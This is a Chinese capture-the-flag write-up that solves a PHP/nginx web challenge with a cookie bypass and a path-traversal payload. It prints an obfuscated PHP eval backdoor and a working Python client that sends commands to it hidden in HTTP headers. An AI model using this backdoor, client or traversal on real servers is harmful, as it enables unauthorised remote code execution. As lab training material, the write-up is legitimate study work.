文章目录
前言
PHP代码混淆后门脚本是指在进行PHP代码混淆的过程中，植入恶意代码以实现后门的攻击手段。一旦植入成功，黑客可以通过特定的操作指令，绕过用户身份验证，进入系统内部，获取敏感信息，甚至控制整个系统。
常见的PHP代码混淆后门脚本类型有以下几种：
-
直接将后门代码插入到混淆后的PHP代码中。
-
在混淆后的PHP代码中设置特定的注释符号，在注释中写入后门代码，以达到隐藏的目的。
-
在混淆后的PHP代码中创建了一个特定的变量或调用特定的函数，以此触发后门代码。
为避免被黑客攻击，建议用户在使用来历不明或未经信任的PHP代码混淆程序前，务必先了解其安全性和稳定性，尽量使用官方或权威的PHP代码混淆工具。同时，也需加强系统安全保护，对敏感信息进行加密和备份，确保系统安全性和稳定性。
一、Web_php_wrong_nginx_config
1.题目
2.答题
进入网页发现登录页面
目录爆破
dirsearch -u "http://61.147.171.105:55680/" -e php
发现robots.txt
hint.php
Hack.php
发现跳转到登录页面，抓包看看Hack.php，发现了可疑的点Cookie：isLogin=0，不妨修改为1，进入控制中心：
点击云管理中心，拦截包
发现url中file=index&ext=php，不妨测试一下…/，发现这里过滤了…/：根据hint.php可以知道配置文件的路径，那就构造payload：file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=，读取
server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var/www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http://localhost/ #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for; if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php$ { try_files $uri $uri/ /index.php?q=$uri&$args; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf;}代码审计，关键词alias：用来指定请求资源的真实路径，访问web-img：
找到敏感文件 /var/www/hack.php.bak，根据经验，这应该是一个PHP混淆。
<?php$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d"|U);@ses|U|Usion_des|Utroy();}}}}';$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z;$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);$g=create_function('',$f);$g();?> 输出$f看看
$kh = "42f7";$kf = "e9ac";function x($t, $k) { $c = strlen($k); $l = strlen($t); $o = ""; for ($i = 0; $i < $l;) { for ($j = 0; ($j < $c && $i < $l); $j++, $i++) { $o. = $t { $i } ^ $k { $j }; } } return $o;}$r = $_SERVER;$rr = @$r["HTTP_REFERER"];$ra = @$r["HTTP_ACCEPT_LANGUAGE"];if ($rr && $ra) { $u = parse_url($rr); parse_str($u["query"], $q); $q = array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m); if ($q && $m) {@ session_start(); $s = & $_SESSION; $ss = "substr"; $sl = "strtolower"; $i = $m[1][0].$m[1][1]; $h = $sl($ss(md5($i.$kh), 0, 3)); $f = $sl($ss(md5($i.$kf), 0, 3)); $p = ""; for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]]; if (strpos($p, $h) === 0) { $s[$i] = ""; $p = $ss($p, 3); } if (array_key_exists($i, $s)) { $s[$i]. = $p; $e = strpos($s[$i], $f); if ($e) { $k = $kh.$kf; ob_start();@ eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), $k)); print("<$k>$d$k>");@ session_destroy(); } } }}经过提示这个是个后门，一个PHP混淆后门的分析，脚本如下：
# encoding: utf-8from random import randint, choicefrom hashlib import md5import urllibimport stringimport zlibimport base64import requestsimport redef choicePart(seq, amount): length = len(seq) if length == 0 or length < amount: print 'Error Input' return None result = [] indexes = [] count = 0 while count < amount: i = randint(0, length - 1) if not i in indexes: indexes.append(i) result.append(seq[i]) count += 1 if count == amount: return resultdef randBytesFlow(amount): result = '' for i in xrange(amount): result += chr(randint(0, 255)) return resultdef randAlpha(amount): result = '' for i in xrange(amount): result += choice(string.ascii_letters) return resultdef loopXor(text, key): result = '' lenKey = len(key) lenTxt = len(text) iTxt = 0 while iTxt < lenTxt: iKey = 0 while iTxt < lenTxt and iKey < lenKey: result += chr(ord(key[iKey]) ^ ord(text[iTxt])) iTxt += 1 iKey += 1 return resultdef debugPrint(msg): if debugging: print msg# configdebugging = Falsekeyh = "42f7" # $khkeyf = "e9ac" # $kfxorKey = keyh + keyfurl = 'http://61.147.171.105:55680/hack.php'defaultLang = 'zh-CN'languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()# generate random Accept-Language only once each sessionlangTmp = choicePart(languages, 3)indexes = sorted(choicePart(range(1, 10), 3), reverse=True)acceptLang = [defaultLang]for i in xrange(3): acceptLang.append(langTmp[i] % (indexes[i],))acceptLangStr = ','.join(acceptLang)debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0] # $imd5head = (md5(init2Char + keyh).hexdigest())[0:3]md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))debugPrint('$i is %s' % (init2Char))debugPrint('md5 head: %s' % (md5head,))debugPrint('md5 tail: %s' % (md5tail,))# Interactive php shellcmd = raw_input('phpshell > ')while cmd != '': # build junk data in referer query = [] for i in xrange(max(indexes) + 1 + randint(0, 2)): key = randAlpha(randint(3, 6)) value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))) query.append((key, value)) debugPrint('Before insert payload:') debugPrint(query) debugPrint(urllib.urlencode(query)) # encode payload payload = zlib.compress(cmd) payload = loopXor(payload, xorKey) payload = base64.urlsafe_b64encode(payload) payload = md5head + payload # cut payload, replace into referer cutIndex = randint(2, len(payload) - 3) payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail) iPiece = 0 for i in indexes: query[i] = (query[i][0], payloadPieces[iPiece]) iPiece += 1 referer = url + '?' + urllib.urlencode(query) debugPrint('After insert payload, referer is:') debugPrint(query) debugPrint(referer) # send request r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies) html = r.text debugPrint(html) # process response pattern = re.compile(r'<%s>(.*)' % (xorKey, xorKey)) output = pattern.findall(html) if len(output) == 0: print 'Error, no backdoor response' cmd = raw_input('phpshell > ') continue output = output[0] debugPrint(output) output = output.decode('base64') output = loopXor(output, xorKey) output = zlib.decompress(output) print output cmd = raw_input('phpshell > ')
得到flag：ctf{a57b3698-eeae-48c0-a669-bafe3213568c}
来源地址：https://blog.csdn.net/aa2528877987/article/details/131288189
